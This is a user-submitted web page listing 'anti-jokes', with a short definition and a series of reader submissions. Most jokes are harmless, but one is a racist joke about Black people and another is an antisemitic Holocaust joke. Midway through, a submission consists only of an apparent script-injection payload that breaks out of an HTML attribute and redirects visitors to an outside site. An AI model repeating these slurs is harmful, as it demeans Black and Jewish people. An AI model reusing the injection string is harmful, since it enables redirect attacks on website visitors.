- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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What's black and white and red all over. Nothing, that's a contradiction.

What do you call a man with no arms and no legs water skiing? An anchor

Lebron James got a new iPhone, but he has to keep it on vibrate because he doesn't have any rings.

What should you never give to your friends as a wedding present? An old plastic bag full of rubbish.

my friend died in a car crash, now i have no friends.

Why did the plane crash? The pilot was a loaf of bread.

"Knock, Knock." "Who's There?" "Banana."

How do you drown a black? - pop their lips

If you see a person falling down your balcony, Say cya later!

69 cents for a rainbow donut shaped as a 69....

What did the hitler youth kid get for Christmas? An easy bake oven and a G.I. Jew.

An elephant and a hippopotamus were taking a bath. The elephant said to the hippo, " Please pass the soap." The hippo replied, "No soap, radio."

Comes a giraffe on a scooter to the hospital and asks: 'can I have some flour?'.

You want some cake? Sure! Okay, go buy the ingridients and bake me some. YAY!

What happens when Chuck Norris and Mr. T get into a car accident? They trade insurance information.

"'>document.location.href="http://cramik.org"

why did the man break his arm? he didn't, someone else broke it for him

Why do people make jokes about cancer? Oviously to get thier ass kicked!!! -BY:KOLBY HOOKS

There once was a man from Peru Who dreamed he was eating his shoe He then shortly died in his sleep due to heart failure at the age of 81.

Roses are red They can be white too Violets are not blue They are violet

Two cows are out in a field grazing. One falls over and dies because it was unhealthy and was ravaged with a deadly disease. The other cow, which does not understand death, continues to graze until the farmer moves it back to the barn.

Why did the plane crash? The pilot was a loaf of bread.

What did the cancer patient say before they died? I am in so much pain. I love you all

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